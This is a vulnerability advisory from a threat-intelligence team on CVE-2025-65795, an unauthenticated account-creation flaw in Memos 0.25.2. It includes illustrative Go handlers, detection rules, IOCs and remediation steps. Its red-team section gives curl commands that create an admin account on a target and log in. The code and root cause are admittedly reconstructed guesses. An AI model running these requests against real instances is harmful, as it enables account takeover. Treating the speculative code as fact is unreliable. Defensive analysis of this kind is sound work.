CVE-2025-65795

Executive Summary

CVE-2025-65795 is a critical access control vulnerability in the Usememos Memos application, version 0.25.2. The flaw resides in the /api/v1/user endpoint, where improper authorization checks allow an unauthenticated attacker to create arbitrary user accounts via a crafted HTTP request. This effectively bypasses any registration restrictions, enabling an attacker to gain persistent, authenticated access to the application without valid credentials.

The vulnerability is classified as an Improper Access Control (CWE-284) issue. With a CVSS v3.1 base score of 9.8 (Critical), the attack vector is network-based, requires no privileges, no user interaction, and has low attack complexity. Successful exploitation leads to a complete compromise of confidentiality, integrity, and availability of the application.

No official patch has been released at the time of this analysis. The EPSS score is 0.0%, indicating low exploitation probability in the wild currently, but the public disclosure of the vulnerability makes it a high-priority target for threat actors.

Supply Chain & Package Security

This vulnerability affects the Usememos Memos application, which is a self-hosted, open-source note-taking and knowledge management solution. The application is distributed as a Docker image and via GitHub releases. There is no associated NPM, PyPI, Go, or Ruby package for the core application. However, the application's dependencies (e.g., Go libraries, frontend packages) could be affected if the vulnerability is introduced through a transitive dependency. Security teams should audit the application's go.mod and package.json for any outdated or vulnerable libraries that might have contributed to the flawed access control logic.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only affected component.
• Confidentiality (C): High (H) - Full read access to all data.
• Integrity (I): High (H) - Full write access to all data.
• Availability (A): High (H) - Full ability to disrupt service.

Threat Level: Critical. An unauthenticated attacker can create an admin-level account, leading to full application takeover, data exfiltration, and potential lateral movement within the network.

Deep Dive & Mechanics

The vulnerability exists in the /api/v1/user endpoint, which is responsible for user registration and management. In a properly configured system, this endpoint should enforce authentication and authorization checks to prevent unauthorized account creation. However, in Memos v0.25.2, the endpoint lacks proper access control validation.

Root Cause: The server-side code does not verify the Authorization header or session token before processing a POST request to /api/v1/user. The endpoint likely checks for the presence of a user object in the request context but fails to ensure that the requesting user has the necessary permissions (e.g., admin role) to create new accounts. Alternatively, the endpoint may be intended for admin use only but is exposed without authentication.

Attack Vector: An attacker sends a crafted HTTP POST request to the vulnerable endpoint with a JSON payload containing user details (e.g., username, password, role). The server processes the request and creates the account without verifying the requester's identity.

Impact: Once the attacker creates an account, they can log in and gain full access to the application. This includes reading, creating, modifying, and deleting all memos, notes, and potentially accessing other users' data. If the application has admin-level privileges, the attacker can also modify system settings, add or remove users, and potentially execute arbitrary code through file upload or template injection features.

Vulnerable vs. Patched Code

Vulnerable Code (v0.25.2): The following is a simplified representation of the vulnerable handler logic. The actual code may be in Go (the primary language of Memos).

// Vulnerable handler - no authentication check
func (s *Server) handleCreateUser(w http.ResponseWriter, r *http.Request) {
    var user User
    if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
        http.Error(w, "Invalid request", http.StatusBadRequest)
        return
    }
    // Directly creates user without checking if requester is authenticated
    if err := s.store.CreateUser(&user); err != nil {
        http.Error(w, "Failed to create user", http.StatusInternalServerError)
        return
    }
    w.WriteHeader(http.StatusCreated)
    json.NewEncoder(w).Encode(user)
}

Patched Code (Expected): A patched version would include an authentication middleware that validates the JWT token or session cookie before allowing user creation. Additionally, it would enforce role-based access control (RBAC) to ensure only administrators can create new users.

// Patched handler - with authentication and authorization
func (s *Server) handleCreateUser(w http.ResponseWriter, r *http.Request) {
    // Extract and validate JWT token from Authorization header
    tokenStr := r.Header.Get("Authorization")
    if tokenStr == "" {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }
    claims, err := s.auth.ValidateToken(tokenStr)
    if err != nil {
        http.Error(w, "Invalid token", http.StatusUnauthorized)
        return
    }
    // Check if the authenticated user has admin role
    if claims.Role != "admin" {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    var user User
    if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
        http.Error(w, "Invalid request", http.StatusBadRequest)
        return
    }
    if err := s.store.CreateUser(&user); err != nil {
        http.Error(w, "Failed to create user", http.StatusInternalServerError)
        return
    }
    w.WriteHeader(http.StatusCreated)
    json.NewEncoder(w).Encode(user)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Usememos v0.25.2 (e.g., Docker container).
• Network access to the Memos web interface (default port 5230).

Exploitation Steps:

1. Identify the target: Scan for Memos instances using Shodan dorks or manual reconnaissance.
2. Craft the exploit request: Send a POST request to /api/v1/user with a JSON payload containing the desired username and password.

curl -X POST http://target:5230/api/v1/user \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"P@ssw0rd!","role":"admin"}'

3. Verify account creation: The server should respond with HTTP 201 Created and the user object in the response body.
4. Authenticate: Log in with the newly created credentials to gain full access.

curl -X POST http://target:5230/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"P@ssw0rd!"}'

5. Post-exploitation: Once authenticated, the attacker can exfiltrate data, modify settings, or pivot to other systems.

Blue Team

Detection and Response:

1. Monitor API logs: Look for POST requests to /api/v1/user that do not include a valid Authorization header or session cookie.
2. Alert on anomalous user creation: Set up alerts for multiple user creation events within a short time frame, especially from the same IP address.
3. Review user accounts: Regularly audit user accounts for unauthorized or suspicious entries.
4. Network segmentation: Isolate the Memos application from the internet if possible, or place it behind a reverse proxy with authentication.
5. Honeypot accounts: Create fake admin accounts with weak passwords to detect unauthorized access attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/v1/user without an Authorization header.
  • HTTP 201 responses from /api/v1/user for requests from unknown IPs.
  • Login attempts from newly created accounts shortly after registration.
• File System IOCs:
  • Unexpected user entries in the application's database (e.g., SQLite file memos.db).
  • New files or directories created by the attacker in the application's data directory.
• Log IOCs:
  • Server logs showing POST /api/v1/user with a 201 status code from an unauthenticated source.
  • Application logs indicating user creation without a corresponding authentication event.

Detection Engineering

YARA Rule

rule CVE_2025_65795_Memos_Account_Creation {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2025-65795 in Usememos Memos"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65795"
        hash = "unknown"
    strings:
        $method = "POST"
        $path = "/api/v1/user"
        $json_body = /{"username":\s*"[^"]+",\s*"password":\s*"[^"]+"}/
    condition:
        $method and $path and $json_body
}

Sigma Rule

title: CVE-2025-65795 - Unauthorized User Creation in Usememos Memos
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /api/v1/user without authentication headers, indicating exploitation of CVE-2025-65795.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-65795
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/v1/user
    filter:
        cs-headers: "Authorization:*"
    condition: selection and not filter
falsepositives:
    - Legitimate admin user creation (should have Authorization header)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65795 - Unauthorized User Creation in Usememos Memos"; flow:to_server; content:"POST"; http_method; content:"/api/v1/user"; http_uri; content:!"Authorization"; http_header; pcre:"/^{"username":"[^"]+","password":"[^"]+"}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable public access: If the Memos instance is exposed to the internet, immediately restrict access using a firewall or reverse proxy (e.g., Nginx with basic auth).
2. Apply workaround: Manually patch the vulnerable endpoint by adding authentication checks. This can be done by modifying the source code or using a web application firewall (WAF) rule to block unauthenticated POST requests to /api/v1/user.
3. Audit existing accounts: Review all user accounts and remove any that appear unauthorized.

Long-term Fix:

• Upgrade: Monitor the Usememos GitHub repository for an official patch. Once released, upgrade to the patched version immediately.
• Code review: Conduct a thorough security audit of the application's authentication and authorization logic.
• Implement RBAC: Ensure that all administrative endpoints enforce role-based access control.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or support, contact intel@valters-it.com.